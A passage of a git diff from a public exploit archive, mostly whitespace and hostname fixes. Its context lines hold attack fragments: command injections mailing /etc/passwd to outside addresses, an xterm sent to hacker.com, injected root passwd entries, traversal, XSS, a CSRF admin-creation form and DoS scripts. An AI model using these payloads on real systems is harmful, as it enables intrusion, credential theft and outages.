values('\nr00t::1:0:99999:7:-1:-1:\n'); \q -$ \ No newline at end of file +$ \ No newline at end of file diff --git a/platforms/unix/local/20769.txt b/platforms/unix/local/20769.txt index 6f110641d..1d4a76c38 100755 --- a/platforms/unix/local/20769.txt +++ b/platforms/unix/local/20769.txt @@ -11,4 +11,4 @@ ln -s /etc/passwd /tmp/ppd.trace /opt/bin/ppd -T cat /etc/passwd -[..] \ No newline at end of file +[..] \ No newline at end of file diff --git a/platforms/unix/local/20905.txt b/platforms/unix/local/20905.txt index de2f53d01..870100b18 100755 --- a/platforms/unix/local/20905.txt +++ b/platforms/unix/local/20905.txt @@ -57,4 +57,4 @@ total 3 -rw------- 1 root root 102 May 7 09:59 uwe -rw-r----- 1 fcron fcron 15 May 7 09:59 uwe.orig -6. Root's crontab is gone, look into your backups. \ No newline at end of file +6. Root's crontab is gone, look into your backups. \ No newline at end of file diff --git a/platforms/unix/local/21045.c b/platforms/unix/local/21045.c index 7a7a25a82..dc1519851 100755 --- a/platforms/unix/local/21045.c +++ b/platforms/unix/local/21045.c @@ -6,7 +6,7 @@ A buffer overflow has been discovered in the handling of $ORACLE_HOME by otrcrep /* * This vulnerability was researched by: - * Juan Manuel Pascual Escriba <pask@plazaserver> + * Juan Manuel Pascual Escriba <pask@plazasite.com> * cc -o evolut otrcrep.c; ./evolut 300 0 */ diff --git a/platforms/unix/local/21073.txt b/platforms/unix/local/21073.txt index 7ed240fbd..b530babc3 100755 --- a/platforms/unix/local/21073.txt +++ b/platforms/unix/local/21073.txt @@ -4,4 +4,4 @@ When a malformed request is made for a Java Server Page the server displays an e Jakarta Tomcat can be configured to display an alternate error file. By default it is not. -http://webserver/\java.jsp \ No newline at end of file +http://webserver.com/\java.jsp \ No newline at end of file diff --git a/platforms/unix/local/21101.sh b/platforms/unix/local/21101.sh index 98b38f40b..4d5d9880f 100755 --- a/platforms/unix/local/21101.sh +++ b/platforms/unix/local/21101.sh @@ -23,4 +23,4 @@ echo = Exploiting... echo quit | $bloc/rlmadmin -d /tmp/peace > peace.log mv peace.log /tmp; rm dictionary rlmadmin.help vendors echo = Done! -echo == Now look in /tmp/peace.log! \ No newline at end of file +echo == Now look in /tmp/peace.log! \ No newline at end of file diff --git a/platforms/unix/local/21106.txt b/platforms/unix/local/21106.txt index 51dc7e364..e7d606111 100755 --- a/platforms/unix/local/21106.txt +++ b/platforms/unix/local/21106.txt @@ -19,4 +19,4 @@ $ THISHOST=`uuname -l` $ WHEREYOUWANTIT=/var/spool/uucp/${THISHOST}/X./X.${THISHOST}X1337 $ uux 'uucp --config=/tmp/config.uucp /tmp/commands.uucp '${WHEREYOUWANTIT} -The commands in /tmp/commands.uucp file will be executed by uuxqt, with the uid/gid of uucp. \ No newline at end of file +The commands in /tmp/commands.uucp file will be executed by uuxqt, with the uid/gid of uucp. \ No newline at end of file diff --git a/platforms/unix/local/21108.txt b/platforms/unix/local/21108.txt index 1d87eade8..226fe4de4 100755 --- a/platforms/unix/local/21108.txt +++ b/platforms/unix/local/21108.txt @@ -4,4 +4,4 @@ SpeechD is a device-independent layer for speech synthesis under Linux, providin SpeechD has been found to contain a flaw under certain implementations which can permit a local user to pass malcious commands to the /dev/speech device, and have them executed with the privilege level of the speechd user, which is usually root. -echo "';[hostile shell command]" >/dev/speech \ No newline at end of file +echo "';[hostile shell command]" >/dev/speech \ No newline at end of file diff --git a/platforms/unix/local/21758.txt b/platforms/unix/local/21758.txt index a4b75f390..b43dcc4d9 100755 --- a/platforms/unix/local/21758.txt +++ b/platforms/unix/local/21758.txt @@ -14,4 +14,4 @@ id > /tmp/I_WAS_HERE [ctrl+d] $ chmod a+x /tmp/xkbcomp $ Xserver -xkbdir /tmp -[X server executes /tmp/xkbcomp] \ No newline at end of file +[X server executes /tmp/xkbcomp] \ No newline at end of file diff --git a/platforms/unix/local/21884.txt b/platforms/unix/local/21884.txt index d52eef0bd..0bd1cd513 100755 --- a/platforms/unix/local/21884.txt +++ b/platforms/unix/local/21884.txt @@ -14,4 +14,4 @@ OR one of the following types of commands: smrsh -c "/ command" smrsh -c "../ command" smrsh -c "./ command" -smrsh -c "././ command" \ No newline at end of file +smrsh -c "././ command" \ No newline at end of file diff --git a/platforms/unix/local/22912.c b/platforms/unix/local/22912.c index 482b26721..371f2ad7a 100755 --- a/platforms/unix/local/22912.c +++ b/platforms/unix/local/22912.c @@ -29,4 +29,4 @@ ls: /tmp/owned: No such file or directory [uvadm@vegeta uvadm]$ /tmp/owned [root@vegeta uvadm]# id -uid=0(root) gid=503(uvadm) groups=503(uvadm) \ No newline at end of file +uid=0(root) gid=503(uvadm) groups=503(uvadm) \ No newline at end of file diff --git a/platforms/unix/local/33572.txt b/platforms/unix/local/33572.txt index 1bb064190..6b1e345d5 100755 --- a/platforms/unix/local/33572.txt +++ b/platforms/unix/local/33572.txt @@ -11,4 +11,4 @@ IBM DB2 9.7 Other versions may also be affected. -SELECT REPEAT(REPEAT('1',1000),1073741825) FROM SYSIBM.SYSDUMMY1 \ No newline at end of file +SELECT REPEAT(REPEAT('1',1000),1073741825) FROM SYSIBM.SYSDUMMY1 \ No newline at end of file diff --git a/platforms/unix/remote/19478.c b/platforms/unix/remote/19478.c index 13f00f8da..02dcee6df 100755 --- a/platforms/unix/remote/19478.c +++ b/platforms/unix/remote/19478.c @@ -77,7 +77,7 @@ void usage() { printf("Warning : This program can crash amd\n"); printf("Usage: amd-ex <hostname> <command> [offset]\n"); - printf("ex) amd-ex ohhara.server \"/usr/X11R6/bin/xterm -display hacker.com:0\"\n"); + printf("ex) amd-ex ohhara.target.com \"/usr/X11R6/bin/xterm -display hacker.com:0\"\n"); } int main(int argc,char **argv) diff --git a/platforms/unix/remote/19620.txt b/platforms/unix/remote/19620.txt index d597fbf17..7c195a301 100755 --- a/platforms/unix/remote/19620.txt +++ b/platforms/unix/remote/19620.txt @@ -31,4 +31,4 @@ return $valid_dir; How to d/l /etc/passwd ? Just add this to the form: <INPUT TYPE="hidden" NAME="reply_message_attach" -VALUE="text:/tmp/../etc/passwd"> \ No newline at end of file +VALUE="text:/tmp/../etc/passwd"> \ No newline at end of file diff --git a/platforms/unix/remote/20046.txt b/platforms/unix/remote/20046.txt index aa665b55b..2ae88454b 100755 --- a/platforms/unix/remote/20046.txt +++ b/platforms/unix/remote/20046.txt @@ -54,4 +54,4 @@ daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/: adm:x:4:4:Admin:/var/adm: -... \ No newline at end of file +... \ No newline at end of file diff --git a/platforms/unix/remote/20449.txt b/platforms/unix/remote/20449.txt index a2238866a..aa886c61c 100755 --- a/platforms/unix/remote/20449.txt +++ b/platforms/unix/remote/20449.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2026/info WebGlimpse and GlimpseHTTP are web indexing and search engine programs with some associated management scripts. GlimpseHTTP up to and including 2.0, and WebGlimpse prior to version 1.5, suffer from a common vulnerability involving the component "aglimpse". This script fails to filter the pipe metacharacter, allowing arbitrary command execution. The demonstration exploit for this vulnerability includes the unix shell "IFS" (Internal Field Separator) variable for situations where the web server filters space characters - by setting this to an acceptable character ("5" in the example exploit) it is possible to use commands with more than one field. (eg., "mail me@myhost.tld"). -GET /cgi-bin/aglimpse|IFS=5;CMD=mail5drazvan\@pop3.kappa.ro\</etc/passwd;eval5$CMD;echo \ No newline at end of file +GET /cgi-bin/aglimpse|IFS=5;CMD=mail5drazvan\@pop3.kappa.ro\</etc/passwd;eval5$CMD;echo \ No newline at end of file diff --git a/platforms/unix/remote/20469.txt b/platforms/unix/remote/20469.txt index 1ddfb5001..e15262b3a 100755 --- a/platforms/unix/remote/20469.txt +++ b/platforms/unix/remote/20469.txt @@ -11,4 +11,4 @@ These commands will be executed with the privilege level of the CGI script (comm This will execute and echo back the uid. -/mmstdod.cgi?ALTERNATE_TEMPLATES=|%20echo%20"Content-Type:%20text%2Fhtml"%3Becho%20""%20%3B%20id%00 \ No newline at end of file +/mmstdod.cgi?ALTERNATE_TEMPLATES=|%20echo%20"Content-Type:%20text%2Fhtml"%3Becho%20""%20%3B%20id%00 \ No newline at end of file diff --git a/platforms/unix/remote/20486.html b/platforms/unix/remote/20486.html index ca62e0de8..0a9482039 100755 --- a/platforms/unix/remote/20486.html +++ b/platforms/unix/remote/20486.html @@ -8,4 +8,4 @@ A web server can use a remote site's FormMail script without authorization, usin <body><form method="post" action="http://remote.target.host/cgi-bin/formmail.pl"> <input type="hidden" name="recipient" value="me@mymail.host; cat /etc/passwd | mail me@mymail.host"> <input type="submit" name="submit" value="submit"> -</form></body></html> \ No newline at end of file +</form></body></html> \ No newline at end of file diff --git a/platforms/unix/remote/20492.txt b/platforms/unix/remote/20492.txt index 70a1719b2..ffc59a6db 100755 --- a/platforms/unix/remote/20492.txt +++ b/platforms/unix/remote/20492.txt @@ -10,4 +10,4 @@ The problem exists in the ssldump handling of format strings. ssldump requires e 3) Type the following in Netscape Navigator: fixme:%s%s%s%s%s%s -4) watch as ssldump with gather the traffic then segfault.. \ No newline at end of file +4) watch as ssldump with gather the traffic then segfault.. \ No newline at end of file diff --git a/platforms/unix/remote/20563.txt b/platforms/unix/remote/20563.txt index 18f9f0b47..5b1af4140 100755 --- a/platforms/unix/remote/20563.txt +++ b/platforms/unix/remote/20563.txt @@ -98,4 +98,4 @@ Now using TAR conversion, get your "--use-compress-program=sh blah" file. ftp> get "--use-compress-program=sh blah".tar -It should open a connection then freeze. Now telnet to your bindshell port." \ No newline at end of file +It should open a connection then freeze. Now telnet to your bindshell port." \ No newline at end of file diff --git a/platforms/unix/remote/20594.txt b/platforms/unix/remote/20594.txt index fa7de2221..da3e0b5e4 100755 --- a/platforms/unix/remote/20594.txt +++ b/platforms/unix/remote/20594.txt @@ -22,4 +22,4 @@ $ tail /var/log/syslog.debug Jan 24 14:17:01 xxx ftpd[30912]: PASV port 47479 assigned to 80862b0806487eb9778084da87bffff16c9640151020bfffe108401c9004 [127.0.0.1] -..<snip extra output>.. \ No newline at end of file +..<snip extra output>.. \ No newline at end of file diff --git a/platforms/unix/remote/20660.txt b/platforms/unix/remote/20660.txt index 4395452d6..cd92dbdd0 100755 --- a/platforms/unix/remote/20660.txt +++ b/platforms/unix/remote/20660.txt @@ -16,4 +16,4 @@ http://www.attack.com/index.html'&xterm&'truehttp://www.attack.com </external/ht "http://www.attack.com/" </external/http://www.attack.com/> -* When the target user opens the URL, the shell commands contained within it (ie 'xterm') will be executed, potentially without warning to the user. \ No newline at end of file +* When the target user opens the URL, the shell commands contained within it (ie 'xterm') will be executed, potentially without warning to the user. \ No newline at end of file diff --git a/platforms/unix/remote/20968.txt b/platforms/unix/remote/20968.txt index 96559b586..ea570c0ce 100755 --- a/platforms/unix/remote/20968.txt +++ b/platforms/unix/remote/20968.txt @@ -16,4 +16,4 @@ and also smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" -n ../../../tmp/x -N -I 192.168.12.13 -Yugo Yugos <yuggoboy@hotmail.com> provided an exploit script. It is available at http://www.securityfocus.com/data/vulnerabilities/exploits/samba-exp.sh \ No newline at end of file +Yugo Yugos <yuggoboy@hotmail.com> provided an exploit script. It is available at http://www.securityfocus.com/data/vulnerabilities/exploits/samba-exp.sh \ No newline at end of file diff --git a/platforms/unix/remote/21882.txt b/platforms/unix/remote/21882.txt index 9018c69a8..d27ae1ac0 100755 --- a/platforms/unix/remote/21882.txt +++ b/platforms/unix/remote/21882.txt @@ -4,4 +4,4 @@ Apache Tomcat is reported to be prone to a vulnerability which may enable remote This issue is reported to affect Apache Tomcat 3.2.x on HP-UX 11.04 (VVOS) systems. It is not known whether other systems are also affected. -GET /%3F.jsp HTTP/1.0 \ No newline at end of file +GET /%3F.jsp HTTP/1.0 \ No newline at end of file diff --git a/platforms/unix/remote/21947.txt b/platforms/unix/remote/21947.txt index 6df11b37a..c57d7f16a 100755 --- a/platforms/unix/remote/21947.txt +++ b/platforms/unix/remote/21947.txt @@ -8,4 +8,4 @@ Attacks of this nature may make it possible for attackers to steal cookie-based Request the following path from the caching proxy server: -/"><img%20src="javascript:alert(document.domain)"> \ No newline at end of file +/"><img%20src="javascript:alert(document.domain)"> \ No newline at end of file diff --git a/platforms/unix/remote/21948.txt b/platforms/unix/remote/21948.txt index 49129d49e..4a630cbda 100755 --- a/platforms/unix/remote/21948.txt +++ b/platforms/unix/remote/21948.txt @@ -7,4 +7,4 @@ Due to insufficient sanitization of user-supplied input it is possible for an at Attacks of this nature may make it possible for attackers to steal cookie-based authentication credentials. GET /%0a%0dLocation:%20http://www.evil.com/"><img%20src="javascript:alert -(document.domain)">HTTP/1.0 \ No newline at end of file +(document.domain)">HTTP/1.0 \ No newline at end of file diff --git a/platforms/unix/remote/22475.txt b/platforms/unix/remote/22475.txt index c892aec56..225ef1bf0 100755 --- a/platforms/unix/remote/22475.txt +++ b/platforms/unix/remote/22475.txt @@ -18,4 +18,4 @@ Subject: AMaViS-ng 0.1.6.x bug . (250 Ok: queued as ...) quit -(221 Bye) \ No newline at end of file +(221 Bye) \ No newline at end of file diff --git a/platforms/unix/remote/22646.txt b/platforms/unix/remote/22646.txt index e69a493a6..1977e0f90 100755 --- a/platforms/unix/remote/22646.txt +++ b/platforms/unix/remote/22646.txt @@ -4,4 +4,4 @@ Vignette is prone to an issue which may expose the contents of memory to remote This issue was reported for Vignette on IBM AIX. Other platforms may also be affected, though this has not been confirmed. The issue affects some of the default templates provided with Vignette. -http://www.example.com/vgn/login/1,501,,00.html?cookieName=x--\> \ No newline at end of file +http://www.example.com/vgn/login/1,501,,00.html?cookieName=x--\> \ No newline at end of file diff --git a/platforms/unix/remote/22648.txt b/platforms/unix/remote/22648.txt index 5bc416b13..1505ab915 100755 --- a/platforms/unix/remote/22648.txt +++ b/platforms/unix/remote/22648.txt @@ -10,4 +10,4 @@ This issue was reported for Vignette StoryServer version 4 to version 6; it has https://www.example.com/Page/1,10966,,00.html?var=<script>alert('s21sec')</script> -http://www.example.com/vgn/login?errInfo="%2b%20document.cookie%20%2b" \ No newline at end of file +http://www.example.com/vgn/login?errInfo="%2b%20document.cookie%20%2b" \ No newline at end of file diff --git a/platforms/unix/remote/23449.txt b/platforms/unix/remote/23449.txt index 3236b34f2..362fd26e1 100755 --- a/platforms/unix/remote/23449.txt +++ b/platforms/unix/remote/23449.txt @@ -5,4 +5,4 @@ It has been reported that Xerox_MicroServer/Xerox11 may be prone to a directory GET /assist/.. GET /assist/////.././../../. http://www.example.com////../../data/config/microsrv.cfg -http://www.example.com////////../../../../../../etc/passwd \ No newline at end of file +http://www.example.com////////../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/unix/remote/24067.c b/platforms/unix/remote/24067.c index 51a75df4b..b744b49b0 100755 --- a/platforms/unix/remote/24067.c +++ b/platforms/unix/remote/24067.c @@ -164,3 +164,4 @@ https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sp + \ No newline at end of file diff --git a/platforms/unix/remote/25335.txt b/platforms/unix/remote/25335.txt index 53bfbddfe..1e8ed1e48 100755 --- a/platforms/unix/remote/25335.txt +++ b/platforms/unix/remote/25335.txt @@ -4,4 +4,4 @@ A remote information disclosure issue affects IBM iSeries AS400 LDAP Server. Thi An authenticated attacker may leverage this issue to disclose user names and account information of users in their group. This may facilitate further attacks against the affected server. -ldapsearch -h as400.example.com -b "cn=accounts,os400-sys=S0011223.example.com" -D "os400-profile=SCARMEL,cn=accounts,os400-sys=S0011223.example.com" -w as400Password -L -s sub "os400-profile=LESLIE" \ No newline at end of file +ldapsearch -h as400.example.com -b "cn=accounts,os400-sys=S0011223.example.com" -D "os400-profile=SCARMEL,cn=accounts,os400-sys=S0011223.example.com" -w as400Password -L -s sub "os400-profile=LESLIE" \ No newline at end of file diff --git a/platforms/unix/remote/31706.txt b/platforms/unix/remote/31706.txt index 401cf3d77..9622faad2 100755 --- a/platforms/unix/remote/31706.txt +++ b/platforms/unix/remote/31706.txt @@ -6,4 +6,4 @@ Successfully exploiting this issue allows remote attackers to execute arbitrary We don't know which specific versions of IBM Lotus Expeditor are affected. We will update this BID as more information emerges. -cai:"%20-launcher%20\\6.6.6.6\d$\trojan \ No newline at end of file +cai:"%20-launcher%20\\6.6.6.6\d$\trojan \ No newline at end of file diff --git a/platforms/unix/remote/32399.txt b/platforms/unix/remote/32399.txt index 79c452ed9..2aa2cb2f0 100755 --- a/platforms/unix/remote/32399.txt +++ b/platforms/unix/remote/32399.txt @@ -20,4 +20,4 @@ ftp://ftp.example.com///////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////// -/////////////////////////////////////SITE%20CHMOD%20777%20EXAMPLEFILE \ No newline at end of file +/////////////////////////////////////SITE%20CHMOD%20777%20EXAMPLEFILE \ No newline at end of file diff --git a/platforms/win_x86/webapps/14628.txt b/platforms/win_x86/webapps/14628.txt index 5d78c4ccd..913d24199 100755 --- a/platforms/win_x86/webapps/14628.txt +++ b/platforms/win_x86/webapps/14628.txt @@ -11,3 +11,4 @@ Exploit: http://target/PHP-Nuke-8.1-seo-Arabic/PHP-Nuke-8.1-seo-Arabic/html/inde A special tribute to: DannY.iRaQi - TeaM iRaQ HaCkers + \ No newline at end of file diff --git a/platforms/win_x86/webapps/15102.txt b/platforms/win_x86/webapps/15102.txt index 78095adf7..f63d6aff5 100755 --- a/platforms/win_x86/webapps/15102.txt +++ b/platforms/win_x86/webapps/15102.txt @@ -9,7 +9,7 @@ http://traidntup.googlecode.com/files/Traidnt%20up%20V3.0.zip <html> <body onload="javascript:fireForms()"> <form method="POST" name="form0" action=" -http://www.server/[path]/admin/users.php?do=addnew"> +http://www.site.com/[path]/admin/users.php?do=addnew"> <input type="hidden" name="name" value="admin2"/> <input type="hidden" name="password" value="123456"/> <input type="hidden" name="email" value="mail@mail.com"/> diff --git a/platforms/windows/dos/10103.txt b/platforms/windows/dos/10103.txt index 7f1e18deb..52b4566e1 100755 --- a/platforms/windows/dos/10103.txt +++ b/platforms/windows/dos/10103.txt @@ -1,4 +1,4 @@ - + (jar50.dll) Mozilla Thunderbird 2.0.0.23 @@ -35,4 +35,4 @@ funkcja: jar50 Nie kochamy Kubusia Puchatka :) -<img src="jar:news://!/"> \ No newline at end of file +<img src="jar:news://!/"> \ No newline at end of file diff --git a/platforms/windows/dos/11432.txt b/platforms/windows/dos/11432.txt index eb6d0922c..444bbf2bb 100755 --- a/platforms/windows/dos/11432.txt +++ b/platforms/windows/dos/11432.txt @@ -1,4 +1,4 @@ -======================================================================= + ======================================================================= Mozilla Firefox 3.6 (Multitudinous looping )Denial of Service Exploit ======================================================================= diff --git a/platforms/windows/dos/11438.txt b/platforms/windows/dos/11438.txt index a3a64185d..8a23ab1e1 100755 --- a/platforms/windows/dos/11438.txt +++ b/platforms/windows/dos/11438.txt @@ -1,4 +1,4 @@ -======================================================================= + ======================================================================= Internet Explorer 8 (Multitudinous looping )Denial of Service Exploit ======================================================================= diff --git a/platforms/windows/dos/11469.py b/platforms/windows/dos/11469.py index c43d3eabd..97219fd8e 100755 --- a/platforms/windows/dos/11469.py +++ b/platforms/windows/dos/11469.py @@ -66,4 +66,4 @@ s.recv(1024) s.send('MKD ' + buffer + '\r\n') s.recv(1024) s.send('QUIT\r\n') -s.close \ No newline at end of file +s.close \ No newline at end of file diff --git a/platforms/windows/dos/1160.pl b/platforms/windows/dos/1160.pl index ad5de9e44..8e973d990 100755 --- a/platforms/windows/dos/1160.pl +++ b/platforms/windows/dos/1160.pl @@ -6,7 +6,7 @@ # KMiNT21 Software Golden FTP Server Pro v2.52 (10.04.2005) # # Download: -# http://www.goldenftpserver/ +# http://www.goldenftpserver.com/ # ########################################################### diff --git a/platforms/windows/dos/11617.txt b/platforms/windows/dos/11617.txt index 0108f0d4d..171b09052 100755 --- a/platforms/windows/dos/11617.txt +++ b/platforms/windows/dos/11617.txt @@ -1,4 +1,4 @@ -======================================================================= + ======================================================================= Mozilla Firefox 3.6 plenitude String Crash(0day) Exploit Opera (plenitude String )Denial of Service Exploit diff --git a/platforms/windows/dos/11734.py b/platforms/windows/dos/11734.py index 15574b4ac..9ec5a8af1 100755 --- a/platforms/windows/dos/11734.py +++ b/platforms/windows/dos/11734.py @@ -139,4 +139,4 @@ s.send('USER test\r\n') s.recv(1024) s.send('PASS ' + buffer + '\r\n') s.recv(1024) -s.close \ No newline at end of file +s.close \ No newline at end of file diff --git a/platforms/windows/dos/12704.txt b/platforms/windows/dos/12704.txt index ac9e206c3..99a1a0451 100755 --- a/platforms/windows/dos/12704.txt +++ b/platforms/windows/dos/12704.txt @@ -16,4 +16,4 @@ $buff="A" x 5000; open (myfile , ">>sniper.rm"); print myfile $buff; -close (myfile); \ No newline at end of file +close (myfile); \ No newline at end of file diff --git a/platforms/windows/dos/1339.c b/platforms/windows/dos/1339.c index f68cd06ce..542887a42 100755 --- a/platforms/windows/dos/1339.c +++ b/platforms/windows/dos/1339.c @@ -31,7 +31,7 @@ int main(int argc, char* argv[]) printf("%s\n",L); printf("%s\n",HL); printf("%s\n",L); - printf("Usage: %s <server>\n",argv[0]); + printf("Usage: %s <www.target.com>\n",argv[0]); exit(0); } diff --git a/platforms/windows/dos/13887.c b/platforms/windows/dos/13887.c index 32b42836c..1c8a766e9 100755 --- a/platforms/windows/dos/13887.c +++ b/platforms/windows/dos/13887.c @@ -261,4 +261,4 @@ void copy_str(i8* v,i8* w,i32 len){ memcpy(v, w, len); } - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/windows/dos/13888.c b/platforms/windows/dos/13888.c index c986586b3..f1988415a 100755 --- a/platforms/windows/dos/13888.c +++ b/platforms/windows/dos/13888.c @@ -167,4 +167,4 @@ exit(1); } - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/windows/dos/13920.c b/platforms/windows/dos/13920.c index 61da9d129..13b751beb 100755 --- a/platforms/windows/dos/13920.c +++ b/platforms/windows/dos/13920.c @@ -192,4 +192,4 @@ for(i=0;i<com;i++){ printf("%s\n",help[i]); } - } \ No newline at end of file + } \ No newline at end of file diff --git a/platforms/windows/dos/1396.cpp b/platforms/windows/dos/1396.cpp index 9ed4d4b81..ab5bd1dce 100755 --- a/platforms/windows/dos/1396.cpp +++ b/platforms/windows/dos/1396.cpp @@ -68,7 +68,7 @@ int main(int argc, char *argv[]) if(argc!=6) { - printf("\n[+] Usage: %s <server> <port> <directory> <value> <interval(ms)>",argv[0]); + printf("\n[+] Usage: %s <server.com> <port> <directory> <value> <interval(ms)>",argv[0]); printf("\n[+] Directories: \x22_vti_bin\x22 / \x22_sharepoint\x22"); printf("\n (Directory must be set to \x22Scripts & Executables\x22"); printf("\n[+] Values: ~0, ~1, ~2, ~3, ~4, ~5, ~6, ~7, ~8, ~9\n"); diff --git a/platforms/windows/dos/14349.html b/platforms/windows/dos/14349.html index 6bb9f9010..2eca136be 100755 --- a/platforms/windows/dos/14349.html +++ b/platforms/windows/dos/14349.html @@ -32,3 +32,4 @@ http://pouya.info/blog/userfiles/vul/OperaCC.pdf + \ No newline at end of file diff --git a/platforms/windows/dos/14372.txt b/platforms/windows/dos/14372.txt index b021a7bf2..c0bea3693 100755 --- a/platforms/windows/dos/14372.txt +++ b/platforms/windows/dos/14372.txt @@ -55,7 +55,7 @@ Hash: SHA1 Particularly this one "URL" results vulnerable to a buffer overflow if you pass an overly long string (more than 2048 bytes) as filename and browse to - the crafted web page (e.g. http://www.Someserver/File.pdf) and then + the crafted web page (e.g. http://www.SomeSite.com/File.pdf) and then refresh the page. ================================================================================== ================================================================================== diff --git a/platforms/windows/dos/14413.txt b/platforms/windows/dos/14413.txt index 560dadfe6..3f51d0ee9 100755 --- a/platforms/windows/dos/14413.txt +++ b/platforms/windows/dos/14413.txt @@ -111,4 +111,4 @@ kernel32!BaseThreadStart+37 3e25e4fc 056a5cf8 00000000 The assembly instruction at kernel32!RaiseException+53 in C:\WINDOWS\system32\kernel32.dll from Microsoft Corporation has caused an unknown exception (0xc06d007e) on thread 33 -This exception originated from MCPS!DllGetClassObject+6db1. \ No newline at end of file +This exception originated from MCPS!DllGetClassObject+6db1. \ No newline at end of file diff --git a/platforms/windows/dos/14582.pl b/platforms/windows/dos/14582.pl index af66f9551..b47f3cdd3 100755 --- a/platforms/windows/dos/14582.pl +++ b/platforms/windows/dos/14582.pl @@ -3,7 +3,7 @@ ########################################################################################################## # Exploit Title: Malformed MP4 Local DoS for ffdshow Video Codec (tryouts) rev. 3467 20100713 (x86) # # Date: 08/08/2010 # -# Author: Nishant Das Patnaik [Web: http://nishantdaspatnaik.yolaserver] # +# Author: Nishant Das Patnaik [Web: http://nishantdaspatnaik.yolasite.com] # # Software Link: ftp://majorgeeks.mirror.internode.on.net/multimedia/K-Lite_Codec_Pack_620_Mega.exe # # Version: <= rev 3512 20100713 (Budled with K-Lite Mega Codec Pack 6.2.0) # # Tested on: Windows XP Pro SP3 # diff --git a/platforms/windows/dos/14593.htm b/platforms/windows/dos/14593.htm index d523c53b5..5346a44d2 100755 --- a/platforms/windows/dos/14593.htm +++ b/platforms/windows/dos/14593.htm @@ -21,4 +21,4 @@ target.InitLicenKeys arg1 ,nseh ,seh ,arg4 ,arg5 hadji samir - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/windows/dos/14858.txt b/platforms/windows/dos/14858.txt index 419fd4bbf..aefd69a4f 100755 --- a/platforms/windows/dos/14858.txt +++ b/platforms/windows/dos/14858.txt @@ -1,4 +1,4 @@ - + # Exploit Title: Autodesk MapGuide Viewer ActiveX(MGAXCTRL.DLL)Overflow Vulnerability # Date: [01-09-2010] # Author: [d3b4g] diff --git a/platforms/windows/dos/14883.txt b/platforms/windows/dos/14883.txt index cc1b5ac7f..160433201 100755 --- a/platforms/windows/dos/14883.txt +++ b/platforms/windows/dos/14883.txt @@ -101,4 +101,4 @@ char data[7807] = -120 PoC: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/14883.rar (IntelVideoCodecs5RemoteDenialofService.rar) - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/windows/dos/15061.txt b/platforms/windows/dos/15061.txt index 243911f94..84dbb9107 100755 --- a/platforms/windows/dos/15061.txt +++ b/platforms/windows/dos/15061.txt @@ -1,4 +1,4 @@ -============================================================================================ + ============================================================================================ Microsoft DRM technology (msnetobj.dll) ActiveX Multiple Remote Vulnerabilities =========================================================================================== diff --git a/platforms/windows/dos/15408.html b/platforms/windows/dos/15408.html index 39a2a7cfc..f635df4ef 100755 --- a/platforms/windows/dos/15408.html +++ b/platforms/windows/dos/15408.html @@ -19,4 +19,4 @@ target.SearchByFormula arg1 </script> - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/windows/dos/16255.pl b/platforms/windows/dos/16255.pl index de9dcfc13..37b6be4cc 100755 --- a/platforms/windows/dos/16255.pl +++ b/platforms/windows/dos/16255.pl @@ -12,4 +12,4 @@ print $FILE $junk; close($FILE); print "Files Created successfully\n"; sleep(1); - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/windows/dos/1749.pl b/platforms/windows/dos/1749.pl index b3825300c..fb0090c92 100755 --- a/platforms/windows/dos/1749.pl +++ b/platforms/windows/dos/1749.pl @@ -1,4 +1,4 @@ -################################################ + ################################################ #===== acFtpd BoF Crash Exploit ===== # # There is a Buffer overflow at the diff --git a/platforms/windows/dos/17795.py b/platforms/windows/dos/17795.py index b510542d2..f0a6fc03c 100755 --- a/platforms/windows/dos/17795.py +++ b/platforms/windows/dos/17795.py @@ -47,3 +47,4 @@ print ("2 or 3 seconds before the blue screen of the death...") s.close() + \ No newline at end of file diff --git a/platforms/windows/dos/18268.txt b/platforms/windows/dos/18268.txt index 679c19b04..ae9db2a73 100755 --- a/platforms/windows/dos/18268.txt +++ b/platforms/windows/dos/18268.txt @@ -52,4 +52,4 @@ def main(): print "[*] Closing Socket...\n" s.close() if __name__ == "__main__": - main() \ No newline at end of file + main() \ No newline at end of file diff --git a/platforms/windows/dos/18269.py b/platforms/windows/dos/18269.py index a7c21b00b..6e942723d 100755 --- a/platforms/windows/dos/18269.py +++ b/platforms/windows/dos/18269.py @@ -34,4 +34,4 @@ print "[*] Payload 2 sent\n", "[*] Run again to ensure it is down..\n" s.close() if __name__ == "__main__": -main() \ No newline at end of file +main() \ No newline at end of file diff --git a/platforms/windows/dos/18318.py b/platforms/windows/dos/18318.py index c0fcd9fee..80008fec0 100755 --- a/platforms/windows/dos/18318.py +++ b/platforms/windows/dos/18318.py @@ -113,4 +113,4 @@ e.g. NetcutKiller.py wlan0 2.)Attack with protect himself Usage: NetcutKiller <Interface> <MAC_Gateway> e.g. NetcutKiller.py wlan0 00:FA:77:AA:BC:AF -''' \ No newline at end of file +''' \ No newline at end of file diff --git a/platforms/windows/dos/18453.txt b/platforms/windows/dos/18453.txt index 684b7eb52..e4d22bac8 100755 --- a/platforms/windows/dos/18453.txt +++ b/platforms/windows/dos/18453.txt @@ -127,7 +127,7 @@ exploit = "INVITE sip:test@officesip.local SIP/2.0\r\n"+\ "Via: SIP/2.0/UDP example.com\r\n"+\ "To: user2 <sip:malicioususer@>\r\n"+\ "From: user1 <sip:user1@server1.com>;tag=00\r\n"+\ - "Call-ID: test@server\r\n"+\ + "Call-ID: test@server.com\r\n"+\ "CSeq: 1 INVITE\r\n"+\ "Contact: <sip:user1@server1.com>\r\n\r\n" diff --git a/platforms/windows/dos/18461.html b/platforms/windows/dos/18461.html index 6e80e8268..7ead15ab7 100755 --- a/platforms/windows/dos/18461.html +++ b/platforms/windows/dos/18461.html @@ -21,4 +21,4 @@ target.LicenseName = arg1 </script> - \ No newline at end of file + \ No newline at end of file diff --git 